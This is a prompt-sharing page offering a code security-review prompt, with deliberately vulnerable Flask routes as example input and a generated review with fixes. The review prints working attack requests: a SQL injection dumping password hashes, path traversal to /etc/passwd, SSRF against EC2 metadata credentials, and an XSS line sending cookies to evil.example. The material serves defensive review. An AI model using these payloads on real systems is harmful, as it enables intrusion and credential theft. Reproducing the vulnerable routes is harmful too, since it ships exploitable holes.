Promptabide Logo

Security review of a code snippet with exploit-level detail

Review a code snippet for security flaws. Each finding names the CWE, the exact attacker request and the fixed code, plus what was checked and found safe.

At a glance

Best for
Developers shipping web endpoints who want a focused security pass on specific handlers before release or after a scare.
Tested on
Claude · Opus 5.5
You fill in
untrusted_sourcescodecontext
You get
SQL injection (CWE-89): critical GET /search?q=' UNION SELECT id, email ':' password_hash FROM users-- dumps the users table into the results page,… (full result below)

Prompt

Do a security review of this code. Assume an attacker controls every value that comes from {{untrusted_sources}}.

Code:
{{code}}

Deployment context: {{context}}

For each issue:
  • • Name (use the CWE name where one fits) and severity: critical / high / medium / low

  • • The exact attacker input or request that exploits it, and what the attacker gets

  • • The fix, as code


  • Rules:
  • • Order by severity.

  • • Don't report theoretical issues that require the attacker to already have server access.

  • • If you're unsure whether something is exploitable in my deployment, say so and say what would decide it.


  • Finish with a short list of what you checked and found safe, so I know what was covered.

    Fill in

    {{untrusted_sources}}
    Where attacker-controlled data enterse.g. Query strings, path parameters, and any URL a user submits
    {{code}}
    The code to reviewe.g. Three Flask routes: invoice download, link preview, product search
    {{context}}
    How and where it's deployed, plus relevant infrastructuree.g. Flask behind nginx on AWS EC2, Postgres on RDS, multi-tenant

    Example input

    untrusted_sources: query strings, path parameters, and any URL a user submits
    context: Flask app behind nginx on AWS EC2, Postgres on RDS, multi-tenant (each customer only sees their own invoices). Logged-in users are customers of our SaaS.
    code:
    ```python
    @app.route("/invoices/<invoice_id>/download")
    @login_required
    def download_invoice(invoice_id):
        filename = request.args.get("file", f"{invoice_id}.pdf")
        path = os.path.join("/srv/app/invoices", filename)
        return send_file(path)
    
    @app.route("/api/link-preview")
    @login_required
    def link_preview():
        url = request.args["url"]
        resp = requests.get(url, timeout=5)
        title = re.search(r"<title>(.*?)</title>", resp.text, re.S)
        return {"title": title.group(1) if title else None, "status": resp.status_code}
    
    @app.route("/search")
    def search():
        q = request.args.get("q", "")
        rows = db.execute(f"SELECT id, name FROM products WHERE name ILIKE '%{q}%'").fetchall()
        return f"<h2>Results for {q}</h2>" + "".join(f"<p>{r.name}</p>" for r in rows)
    ```
    810

    Generated Outputs (1)

    2 hours ago
    Claude
    Opus 5.5
    Generated Output
    1. SQL injection (CWE-89): critical
    GET /search?q=' UNION SELECT id, email || ':' || password_hash FROM users-- dumps the users table into the results page, with no login needed.
    `python
    pattern = "%" + q.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_") + "%"
    rows = db.execute(
    "SELECT id, name FROM products WHERE name ILIKE %s", (pattern,)
    ).fetchall()
    `

    2. Path traversal (CWE-22) and missing authorization (CWE-639): critical
    GET /invoices/1/download?file=../../../etc/passwd reads arbitrary files. ?file=/srv/app/.env works too: os.path.join discards the base when the second argument is absolute. Separately, ?file=.pdf (or just another invoice_id) downloads another tenant's invoice, because nothing checks ownership.
    `python
    inv = Invoice.query.filter_by(id=invoice_id, account_id=current_user.account_id).first_or_404()
    return send_from_directory("/srv/app/invoices", f"{inv.id}.pdf")
    `
    Drop the file parameter entirely.

    3. Server-side request forgery (CWE-918): high, depending on your setup
    GET /api/link-preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ asks your server to fetch the EC2 metadata service. If the instance allows IMDSv1, the response's status and any </code> leak information, and internal services on the VPC become reachable. Varying the host and port turns the <code class="bg-muted px-1 py-0.5 rounded text-sm">status</code> field into a port scanner. <strong>What decides severity:</strong> whether IMDSv2 is enforced (<code class="bg-muted px-1 py-0.5 rounded text-sm">HttpTokens=required</code>) and what's reachable inside the VPC.<br>Fix: allow only <code class="bg-muted px-1 py-0.5 rounded text-sm">http</code>/<code class="bg-muted px-1 py-0.5 rounded text-sm">https</code>, resolve the hostname and reject private, loopback and link-local addresses, set <code class="bg-muted px-1 py-0.5 rounded text-sm">allow_redirects=False</code> (or re-check every hop), and cap the body size by streaming. Better, run previews from an isolated worker with no VPC access.<br><br><strong>4. Reflected cross-site scripting (CWE-79): high</strong><br><code class="bg-muted px-1 py-0.5 rounded text-sm">/search?q=<script>fetch('//evil.example/?c='+document.cookie)</script></code> runs in the victim's browser. Product names are also unescaped (stored XSS if sellers can edit them).<br><code class="bg-muted px-1 py-0.5 rounded text-sm"></code>`python<br>return render_template("search.html", q=q, rows=rows) # Jinja autoescapes<br><code class="bg-muted px-1 py-0.5 rounded text-sm"></code>`<br><br><strong>5. Unbounded response read (CWE-400): low</strong><br><code class="bg-muted px-1 py-0.5 rounded text-sm">resp.text</code> loads any size of page into memory. Use <code class="bg-muted px-1 py-0.5 rounded text-sm">stream=True</code> and read at most about 1 MB.<br><br><strong>Checked and found safe</strong><br><li class="ml-4">• <code class="bg-muted px-1 py-0.5 rounded text-sm">login_required</code> is present on the download and preview routes.</li><br><li class="ml-4">• A request timeout is set on the preview fetch.</li><br><li class="ml-4">• The title regex is non-greedy with no nested quantifiers, so there's no ReDoS risk.</li><br><li class="ml-4">• <code class="bg-muted px-1 py-0.5 rounded text-sm">/search</code> being public looks intentional, and fine once 1 and 4 are fixed.</li></div></div></div></div></div></div><div class="mb-8 grid gap-4 md:grid-cols-2"><div class="rounded-xl border bg-card text-card-foreground shadow"><div class="flex flex-col space-y-1.5 p-4 pb-2 md:p-6 md:pb-2"><h2 class="flex items-center gap-2 text-base font-semibold"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-lightbulb h-4 w-4 text-primary"><path d="M15 14c.2-1 .7-1.7 1.5-2.5 1-.9 1.5-2.2 1.5-3.5A6 6 0 0 0 6 8c0 1 .2 2.2 1.5 3.5.7.7 1.3 1.5 1.5 2.5"></path><path d="M9 18h6"></path><path d="M10 22h4"></path></svg>Why it works</h2></div><div class="prose prose-sm max-w-none p-4 pt-0 md:p-6 md:pt-0"><div class="prose prose-sm max-w-none ">Demanding <strong>the exact attacker request</strong> separates real vulnerabilities from checklist noise. Every finding here comes with a URL you could paste into a browser to reproduce it. <strong>Deployment context</strong> is what lets the model grade SSRF on AWS properly and name the deciding factor (IMDSv2). The instruction to <strong>say what would decide exploitability</strong> stops it from inflating or waving away findings. <strong>"Checked and found safe"</strong> tells you the coverage, so a short report reads as clean rather than lazy.</div></div></div><div class="rounded-xl border bg-card text-card-foreground shadow"><div class="flex flex-col space-y-1.5 p-4 pb-2 md:p-6 md:pb-2"><h2 class="flex items-center gap-2 text-base font-semibold"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-circle-slash h-4 w-4 text-muted-foreground"><circle cx="12" cy="12" r="10"></circle><line x1="9" x2="15" y1="15" y2="9"></line></svg>When not to use it</h2></div><div class="prose prose-sm max-w-none p-4 pt-0 md:p-6 md:pt-0"><div class="prose prose-sm max-w-none ">It isn't a penetration test or an audit. It only sees the snippet, so auth middleware, ORM settings, CSP headers and infrastructure rules are invisible to it. Use it on your own code or with permission. For compliance work (PCI DSS, SOC 2) or anything handling payments, pair it with a SAST tool and a qualified human reviewer.</div></div></div></div><div class="rounded-xl border bg-card text-card-foreground shadow"><div class="flex flex-col space-y-1.5 p-4 pb-0 md:p-6 md:pb-0"><div class="font-semibold leading-none tracking-tight flex items-center gap-2"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-message-square h-5 w-5"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"></path></svg>Comments (<!-- -->0<!-- -->)</div></div><div class="p-4 md:p-6"><div class="mb-6 space-y-3"><textarea class="flex w-full rounded-md border border-input bg-transparent px-3 py-2 text-base shadow-sm placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-50 md:text-sm min-h-[100px]" placeholder="Share your thoughts..."></textarea><button class="inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 bg-primary text-primary-foreground shadow hover:bg-primary/90 h-9 px-4 py-2" disabled=""><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-send h-4 w-4 mr-2"><path d="M14.536 21.686a.5.5 0 0 0 .937-.024l6.5-19a.496.496 0 0 0-.635-.635l-19 6.5a.5.5 0 0 0-.024.937l7.93 3.18a2 2 0 0 1 1.112 1.11z"></path><path d="m21.854 2.147-10.94 10.939"></path></svg>Post Comment</button></div><div class="text-center py-8 text-muted-foreground">No comments yet. Be the first to share your thoughts!</div></div></div></div></div><section aria-labelledby="related-bides-heading" class="container mx-auto max-w-3xl px-4 pb-10"><h2 id="related-bides-heading" class="mb-3 text-sm font-semibold text-muted-foreground">More bides on these topics</h2><ul class="grid gap-2 sm:grid-cols-2"><li><a class="block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40" href="/bides/review-rest-api-design-before-building"><span class="line-clamp-2 text-sm font-medium">Review a REST API design before any client depends on it</span><span class="mt-1 line-clamp-2 block text-xs text-muted-foreground">Check a draft API against seven questions (naming, idempotency, pagination, errors, versioning, auth) and…</span><span class="mt-2 block truncate text-[11px] text-muted-foreground">#coding #web-development #code-review</span></a></li><li><a class="block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40" href="/bides/code-review-with-severity-rubric"><span class="line-clamp-2 text-sm font-medium">Code review with a blocker/major/minor severity rubric</span><span class="mt-1 line-clamp-2 block text-xs text-muted-foreground">Get an AI code review that sorts every finding into blocker, major, minor or nit, gives a triggering input…</span><span class="mt-2 block truncate text-[11px] text-muted-foreground">#coding #code-review #debugging</span></a></li><li><a class="block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40" href="/bides/review-gate-for-coding-agent-diff"><span class="line-clamp-2 text-sm font-medium">Review gate for a coding agent's diff before you merge it</span><span class="mt-1 line-clamp-2 block text-xs text-muted-foreground">Check an AI agent's diff against its own summary: scope creep, unbacked claims, skipped or weakened tests,…</span><span class="mt-2 block truncate text-[11px] text-muted-foreground">#ai-agents #code-review #testing</span></a></li><li><a class="block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40" href="/bides/explain-then-edit-protocol-coding-agents"><span class="line-clamp-2 text-sm font-medium">Explain-then-edit protocol for Claude Code and Codex tasks</span><span class="mt-1 line-clamp-2 block text-xs text-muted-foreground">Make a coding agent explain the current code, its planned edits, risks and open questions, then stop for…</span><span class="mt-2 block truncate text-[11px] text-muted-foreground">#claude-code #ai-agents #coding</span></a></li><li><a class="block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40" href="/bides/commit-message-and-pr-description-from-diff"><span class="line-clamp-2 text-sm font-medium">Write a commit message and PR description from a diff</span><span class="mt-1 line-clamp-2 block text-xs text-muted-foreground">Turn a raw diff into a Conventional Commits message and a structured PR description, with questions for…</span><span class="mt-2 block truncate text-[11px] text-muted-foreground">#coding #code-review #writing</span></a></li><li><a class="block h-full rounded-lg border p-3 transition-colors hover:border-primary/50 hover:bg-muted/40" href="/bides/optimize-slow-sql-query-from-explain-plan"><span class="line-clamp-2 text-sm font-medium">Speed up a slow SQL query from its EXPLAIN ANALYZE plan</span><span class="mt-1 line-clamp-2 block text-xs text-muted-foreground">Paste a slow query, its plan and indexes. Get the costliest step named, rewrites and index changes ranked by…</span><span class="mt-2 block truncate text-[11px] text-muted-foreground">#coding #data-analysis #web-development</span></a></li></ul></section></div><div class="lg:sticky lg:top-4 h-fit"><div class="space-y-8"><div class="rounded-xl bg-card text-card-foreground shadow backdrop-blur-sm border border-primary/20"><div class="space-y-1.5 p-4 flex flex-row items-center gap-2"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-users h-5 w-5 text-primary"><path d="M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2"></path><circle cx="9" cy="7" r="4"></circle><path d="M22 21v-2a4 4 0 0 0-3-3.87"></path><path d="M16 3.13a4 4 0 0 1 0 7.75"></path></svg><div class="font-semibold leading-none tracking-tight">Top Creators</div></div><div class="p-4 pt-0 grid gap-4"><div class="text-center text-sm text-gray-500">Loading...</div><a class="flex items-center gap-1 text-sm font-medium text-primary hover:underline" href="/creators">See all creators <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-arrow-right h-3.5 w-3.5"><path d="M5 12h14"></path><path d="m12 5 7 7-7 7"></path></svg></a></div></div><div class="rounded-xl bg-card text-card-foreground shadow backdrop-blur-sm border border-primary/20"><div class="space-y-1.5 p-4 flex px-4 pb-0 md:p-6 flex-row items-center gap-2"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-sparkles h-5 w-5 text-primary"><path d="M9.937 15.5A2 2 0 0 0 8.5 14.063l-6.135-1.582a.5.5 0 0 1 0-.962L8.5 9.936A2 2 0 0 0 9.937 8.5l1.582-6.135a.5.5 0 0 1 .963 0L14.063 8.5A2 2 0 0 0 15.5 9.937l6.135 1.581a.5.5 0 0 1 0 .964L15.5 14.063a2 2 0 0 0-1.437 1.437l-1.582 6.135a.5.5 0 0 1-.963 0z"></path><path d="M20 3v4"></path><path d="M22 5h-4"></path><path d="M4 17v2"></path><path d="M5 18H3"></path></svg><div class="font-semibold leading-none tracking-tight">Follow PromptAbide</div></div><div class="p-4 md:p-6"><p class="text-sm text-gray-500 mb-4">New bides, prompt breakdowns and community picks, on whichever feed you already read.</p><div class="flex flex-wrap items-center gap-2"><a href="https://x.com/promptabide" class="transition-colors flex h-9 w-9 items-center justify-center rounded-lg bg-primary/10 text-primary hover:bg-primary hover:text-primary-foreground" aria-label="PromptAbide on X" title="X" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" class="h-4 w-4" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z"></path></svg></a><a href="https://www.linkedin.com/company/promptabide" class="transition-colors flex h-9 w-9 items-center justify-center rounded-lg bg-primary/10 text-primary hover:bg-primary hover:text-primary-foreground" aria-label="PromptAbide on LinkedIn" title="LinkedIn" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 448 512" class="h-4 w-4" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"></path></svg></a><a href="https://www.instagram.com/promptabide" class="transition-colors flex h-9 w-9 items-center justify-center rounded-lg bg-primary/10 text-primary hover:bg-primary hover:text-primary-foreground" aria-label="PromptAbide on Instagram" title="Instagram" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 448 512" class="h-4 w-4" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"></path></svg></a><a href="https://in.pinterest.com/Promptabide" class="transition-colors flex h-9 w-9 items-center justify-center rounded-lg bg-primary/10 text-primary hover:bg-primary hover:text-primary-foreground" aria-label="PromptAbide on Pinterest" title="Pinterest" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 384 512" class="h-4 w-4" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path></svg></a><a href="https://www.reddit.com/user/Promptabide/" class="transition-colors flex h-9 w-9 items-center justify-center rounded-lg bg-primary/10 text-primary hover:bg-primary hover:text-primary-foreground" aria-label="PromptAbide on Reddit" title="Reddit" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" class="h-4 w-4" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M373 138.6c-25.2 0-46.3-17.5-51.9-41l0 0c-30.6 4.3-54.2 30.7-54.2 62.4l0 .2c47.4 1.8 90.6 15.1 124.9 36.3c12.6-9.7 28.4-15.5 45.5-15.5c41.3 0 74.7 33.4 74.7 74.7c0 29.8-17.4 55.5-42.7 67.5c-2.4 86.8-97 156.6-213.2 156.6S45.5 410.1 43 323.4C17.6 311.5 0 285.7 0 255.7c0-41.3 33.4-74.7 74.7-74.7c17.2 0 33 5.8 45.7 15.6c34-21.1 76.8-34.4 123.7-36.4l0-.3c0-44.3 33.7-80.9 76.8-85.5C325.8 50.2 347.2 32 373 32c29.4 0 53.3 23.9 53.3 53.3s-23.9 53.3-53.3 53.3zM157.5 255.3c-20.9 0-38.9 20.8-40.2 47.9s17.1 38.1 38 38.1s36.6-9.8 37.8-36.9s-14.7-49.1-35.7-49.1zM395 303.1c-1.2-27.1-19.2-47.9-40.2-47.9s-36.9 22-35.7 49.1c1.2 27.1 16.9 36.9 37.8 36.9s39.3-11 38-38.1zm-60.1 70.8c1.5-3.6-1-7.7-4.9-8.1c-23-2.3-47.9-3.6-73.8-3.6s-50.8 1.3-73.8 3.6c-3.9 .4-6.4 4.5-4.9 8.1c12.9 30.8 43.3 52.4 78.7 52.4s65.8-21.6 78.7-52.4z"></path></svg></a></div></div></div><div class="rounded-xl bg-card text-card-foreground shadow backdrop-blur-sm border border-primary/20"><div class="space-y-1.5 p-4 flex px-4 pb-0 md:p-6 flex-row items-center gap-2"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-hash h-5 w-5 text-primary"><line x1="4" x2="20" y1="9" y2="9"></line><line x1="4" x2="20" y1="15" y2="15"></line><line x1="10" x2="8" y1="3" y2="21"></line><line x1="16" x2="14" y1="3" y2="21"></line></svg><div class="font-semibold leading-none tracking-tight">Trending Tags</div></div><div class="p-4 md:p-6"><div class="flex flex-wrap gap-2"><div class="text-sm text-gray-500">Loading...</div></div></div></div></div></div></div></div></div><!--$--><!--/$--></div><footer class="bg-background w-full border-t"><div class="container mx-auto px-4 py-12 md:px-6 2xl:max-w-[1400px]"><div class="flex flex-col justify-between md:flex-row"><div class="mb-8 md:mb-0"><a class="flex items-center space-x-2" href="/"><img alt="Promptabide Logo" loading="lazy" width="140" height="23" decoding="async" data-nimg="1" class="hidden dark:block" style="color:transparent" src="/assets/images/light-logo.svg"/><img alt="Promptabide Logo" loading="lazy" width="140" height="23" decoding="async" data-nimg="1" class="block dark:hidden" style="color:transparent" src="/assets/images/dark-logo.svg"/></a><p class="text-muted-foreground mt-4 max-w-xs text-sm">Discover, test, improve, save and share what actually works with AI.</p><div class="flex flex-wrap items-center mt-6 gap-4"><a href="https://x.com/promptabide" class="text-muted-foreground hover:text-foreground transition-colors" aria-label="PromptAbide on X" title="X" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" class="h-5 w-5" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M389.2 48h70.6L305.6 224.2 487 464H345L233.7 318.6 106.5 464H35.8L200.7 275.5 26.8 48H172.4L272.9 180.9 389.2 48zM364.4 421.8h39.1L151.1 88h-42L364.4 421.8z"></path></svg></a><a href="https://www.linkedin.com/company/promptabide" class="text-muted-foreground hover:text-foreground transition-colors" aria-label="PromptAbide on LinkedIn" title="LinkedIn" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 448 512" class="h-5 w-5" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"></path></svg></a><a href="https://www.instagram.com/promptabide" class="text-muted-foreground hover:text-foreground transition-colors" aria-label="PromptAbide on Instagram" title="Instagram" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 448 512" class="h-5 w-5" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"></path></svg></a><a href="https://in.pinterest.com/Promptabide" class="text-muted-foreground hover:text-foreground transition-colors" aria-label="PromptAbide on Pinterest" title="Pinterest" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 384 512" class="h-5 w-5" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path></svg></a><a href="https://www.reddit.com/user/Promptabide/" class="text-muted-foreground hover:text-foreground transition-colors" aria-label="PromptAbide on Reddit" title="Reddit" target="_blank" rel="me noopener noreferrer"><svg stroke="currentColor" fill="currentColor" stroke-width="0" viewBox="0 0 512 512" class="h-5 w-5" aria-hidden="true" height="1em" width="1em" xmlns="http://www.w3.org/2000/svg"><path d="M373 138.6c-25.2 0-46.3-17.5-51.9-41l0 0c-30.6 4.3-54.2 30.7-54.2 62.4l0 .2c47.4 1.8 90.6 15.1 124.9 36.3c12.6-9.7 28.4-15.5 45.5-15.5c41.3 0 74.7 33.4 74.7 74.7c0 29.8-17.4 55.5-42.7 67.5c-2.4 86.8-97 156.6-213.2 156.6S45.5 410.1 43 323.4C17.6 311.5 0 285.7 0 255.7c0-41.3 33.4-74.7 74.7-74.7c17.2 0 33 5.8 45.7 15.6c34-21.1 76.8-34.4 123.7-36.4l0-.3c0-44.3 33.7-80.9 76.8-85.5C325.8 50.2 347.2 32 373 32c29.4 0 53.3 23.9 53.3 53.3s-23.9 53.3-53.3 53.3zM157.5 255.3c-20.9 0-38.9 20.8-40.2 47.9s17.1 38.1 38 38.1s36.6-9.8 37.8-36.9s-14.7-49.1-35.7-49.1zM395 303.1c-1.2-27.1-19.2-47.9-40.2-47.9s-36.9 22-35.7 49.1c1.2 27.1 16.9 36.9 37.8 36.9s39.3-11 38-38.1zm-60.1 70.8c1.5-3.6-1-7.7-4.9-8.1c-23-2.3-47.9-3.6-73.8-3.6s-50.8 1.3-73.8 3.6c-3.9 .4-6.4 4.5-4.9 8.1c12.9 30.8 43.3 52.4 78.7 52.4s65.8-21.6 78.7-52.4z"></path></svg></a></div></div><div class="grid grid-cols-2 gap-8 sm:grid-cols-4"><div class="space-y-3"><h3 class="text-sm font-medium">Products</h3><ul class="space-y-2"><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/bides">Explore Bides</a></li><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/bides/create">Share Bide</a></li><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/questions">Q&A Discussions</a></li></ul></div><div class="space-y-3"><h3 class="text-sm font-medium">Resources</h3><ul class="space-y-2"><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/contact-us">Contact Us</a></li></ul></div><div class="space-y-3"><h3 class="text-sm font-medium">Company</h3><ul class="space-y-2"><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/about-us">About Us</a></li><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/why-promptabide">Why Promptabide</a></li></ul></div><div class="space-y-3"><h3 class="text-sm font-medium">Legal</h3><ul class="space-y-2"><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/legal/privacy-policy">Privacy Policy</a></li><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/legal/terms-and-conditions">Terms & Conditions</a></li><li><a class="text-muted-foreground hover:text-foreground text-sm transition-colors" href="/legal/cookie-policy">Cookie Policy</a></li></ul></div></div></div><div class="mt-12 flex flex-col-reverse items-center justify-between gap-4 border-t pt-8 